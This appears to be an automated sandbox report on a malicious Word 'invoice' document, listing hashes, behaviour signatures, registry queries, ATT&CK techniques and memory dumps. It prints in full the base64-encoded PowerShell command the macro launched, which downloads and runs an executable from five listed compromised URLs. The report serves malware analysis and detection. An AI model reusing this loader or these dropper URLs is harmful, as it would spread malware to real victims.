b9d2bc9624f1e81b007fd1d89170294eb6eb29c779f83f4e75576a0fa3fa421a

General

Target

InvoiceG4969162doc.doc
Size

230KB
MD5

1b661c46bc3352c7e2362ba4854d219a
SHA1

9cbe40cff5576408c2cc83946489316f43963409
SHA256

b9d2bc9624f1e81b007fd1d89170294eb6eb29c779f83f4e75576a0fa3fa421a
SHA512

d92df1c0fedab8b4416e83f33f6a85714cf91221c1cdda0f224c93de5a662dfecd97cab66dfac0d839799aa47b82ca1226ecbb99d597a7fdb434f15f6b16636a
SSDEEP

3072:cj6yw1MgpQiBhGWb6esLbTh8YuyDRBFtdfGkzRVLmgGjMBwwDR2C:cHgtEWPsL/aTyT9Gk1u0wwDRR

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://slotenservice-24-7-actief.nl/crjns/LODRmgim/

exe.dropper

https://zubk.net/wp-content/plugins/gallery-plugin/upload/files/vDXbZpIep/

exe.dropper

http://yourcomputerneeds.net/wp-admin/JXjqdXqT/

exe.dropper

http://lansec.com.br/rkz_wgz_2mw77xw/NxS/

exe.dropper

http://larrysmith.com/old-files/djrowrumw34o8s80545998/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2656	4768	powersheLL.exe	64

Blocklisted process makes network request 6 IoCs

flow	pid	Process
37	2656	powersheLL.exe
39	2656	powersheLL.exe
42	2656	powersheLL.exe
43	2656	powersheLL.exe
52	2656	powersheLL.exe
55	2656	powersheLL.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
5088	WINWORD.EXE
5088	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2656	powersheLL.exe
2656	powersheLL.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2656	powersheLL.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
5088	WINWORD.EXE
5088	WINWORD.EXE
5088	WINWORD.EXE
5088	WINWORD.EXE
5088	WINWORD.EXE
5088	WINWORD.EXE
5088	WINWORD.EXE

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\InvoiceG4969162doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:5088

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABFAHQAeQBlAGEAegA5AD0AJwBZAHgAZQBwAGUAZQBwACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBDAFUAcgBJAHQAYABZAGAAUABSAG8AdABvAGMAYABvAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABZAGEAZwBiAHgAZQB6ACAAPQAgACcAUQByAHAAbwAnADsAJABIAHgAbAAzAG0AMgA1AD0AJwBLAHIAMwA2AG4AegAyACcAOwAkAFcAcQA2AGsAOABoADYAPQAkAGUAbgB2ADoAdABlAG0AcAArACcAXAAnACsAJABZAGEAZwBiAHgAZQB6ACsAJwAuAGUAeABlACcAOwAkAFgAZQBpAGcAcwB6AG4APQAnAEIAcAB4ADYAdwB1AG8AJwA7ACQARgA4ADUAcAA2AGUAOQA9ACYAKAAnAG4AZQB3AC0AbwAnACsAJwBiAGoAJwArACcAZQBjAHQAJwApACAAbgBlAFQALgBXAEUAYgBDAGwAaQBlAE4AdAA7ACQAWgBnAHMANABzAHYAdAA9ACcAaAB0AHQAcAA6AC8ALwBzAGwAbwB0AGUAbgBzAGUAcgB2AGkAYwBlAC0AMgA0AC0ANwAtAGEAYwB0AGkAZQBmAC4AbgBsAC8AYwByAGoAbgBzAC8ATABPAEQAUgBtAGcAaQBtAC8AKgBoAHQAdABwAHMAOgAvAC8AegB1AGIAawAuAG4AZQB0AC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHAAbAB1AGcAaQBuAHMALwBnAGEAbABsAGUAcgB5AC0AcABsAHUAZwBpAG4ALwB1AHAAbABvAGEAZAAvAGYAaQBsAGUAcwAvAHYARABYAGIAWgBwAEkAZQBwAC8AKgBoAHQAdABwADoALwAvAHkAbwB1AHIAYwBvAG0AcAB1AHQAZQByAG4AZQBlAGQAcwAuAG4AZQB0AC8AdwBwAC0AYQBkAG0AaQBuAC8ASgBYAGoAcQBkAFgAcQBUAC8AKgBoAHQAdABwADoALwAvAGwAYQBuAHMAZQBjAC4AYwBvAG0ALgBiAHIALwByAGsAegBfAHcAZwB6AF8AMgBtAHcANwA3AHgAdwAvAE4AeABTAC8AKgBoAHQAdABwADoALwAvAGwAYQByAHIAeQBzAG0AaQB0AGgALgBjAG8AbQAvAG8AbABkAC0AZgBpAGwAZQBzAC8AZABqAHIAbwB3AHIAdQBtAHcAMwA0AG8AOABzADgAMAA1ADQANQA5ADkAOAAvACcALgAiAFMAcABgAGwAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQATwBqAGsAdABpADgANAA9ACcAVgBxADMAcQA3AGsAYwAnADsAZgBvAHIAZQBhAGMAaAAoACQAWgBiAGkAOAA1AHYAagAgAGkAbgAgACQAWgBnAHMANABzAHYAdAApAHsAdAByAHkAewAkAEYAOAA1AHAANgBlADkALgAiAGQATwBgAHcAYABOAGwAbwBhAGAAZABGAGkAbABFACIAKAAkAFoAYgBpADgANQB2AGoALAAgACQAVwBxADYAawA4AGgANgApADsAJABKAGUAMQB0AG8AbgA4AD0AJwBHAGIAegA4AGQAXwA3ACcAOwBJAGYAIAAoACgALgAoACcARwAnACsAJwBlAHQALQBJAHQAJwArACcAZQBtACcAKQAgACQAVwBxADYAawA4AGgANgApAC4AIgBMAGAARQBOAGAAZwB0AGgAIgAgAC0AZwBlACAAMwA2ADgAOQAxACkAIAB7ACYAKAAnAEkAbgAnACsAJwB2AG8AawBlAC0AJwArACcASQAnACsAJwB0AGUAbQAnACkAKAAkAFcAcQA2AGsAOABoADYAKQA7ACQAVABrAGQAcABoAGMAYQA9ACcAWQBtAGMAOAA4AHAANAAnADsAYgByAGUAYQBrADsAJABGAHIAcgA1ADYAeABoAD0AJwBSAGsAaABoADcAZwA2ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFkAbgBlAF8AMABhAGcAPQAnAFMAaABwAGEANgB5AG4AJwA=
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2656

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_raavc3z2.mxh.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2656-193-0x0000018765740000-0x0000018765750000-memory.dmp

Filesize
64KB

Download
memory/2656-194-0x0000018765740000-0x0000018765750000-memory.dmp

Filesize
64KB

Download
memory/2656-192-0x0000018765740000-0x0000018765750000-memory.dmp

Filesize
64KB

Download
memory/2656-182-0x000001877DC80000-0x000001877DCA2000-memory.dmp

Filesize
136KB

Download
memory/5088-139-0x00007FFEF3940000-0x00007FFEF3950000-memory.dmp

Filesize
64KB

Download
memory/5088-138-0x00007FFEF3940000-0x00007FFEF3950000-memory.dmp

Filesize
64KB

Download
memory/5088-147-0x000001EE3F8D0000-0x000001EE3FAD0000-memory.dmp

Filesize
2.0MB

Download
memory/5088-137-0x00007FFEF5A70000-0x00007FFEF5A80000-memory.dmp

Filesize
64KB

Download
memory/5088-135-0x00007FFEF5A70000-0x00007FFEF5A80000-memory.dmp

Filesize
64KB

Download
memory/5088-136-0x00007FFEF5A70000-0x00007FFEF5A80000-memory.dmp

Filesize
64KB

Download
memory/5088-134-0x00007FFEF5A70000-0x00007FFEF5A80000-memory.dmp

Filesize
64KB

Download
memory/5088-133-0x00007FFEF5A70000-0x00007FFEF5A80000-memory.dmp

Filesize
64KB

Download
memory/5088-201-0x000001EE3F8D0000-0x000001EE3FAD0000-memory.dmp

Filesize
2.0MB

Download
memory/5088-223-0x00007FFEF5A70000-0x00007FFEF5A80000-memory.dmp

Filesize
64KB

Download
memory/5088-224-0x00007FFEF5A70000-0x00007FFEF5A80000-memory.dmp

Filesize
64KB

Download
memory/5088-225-0x00007FFEF5A70000-0x00007FFEF5A80000-memory.dmp

Filesize
64KB

Download
memory/5088-226-0x00007FFEF5A70000-0x00007FFEF5A80000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads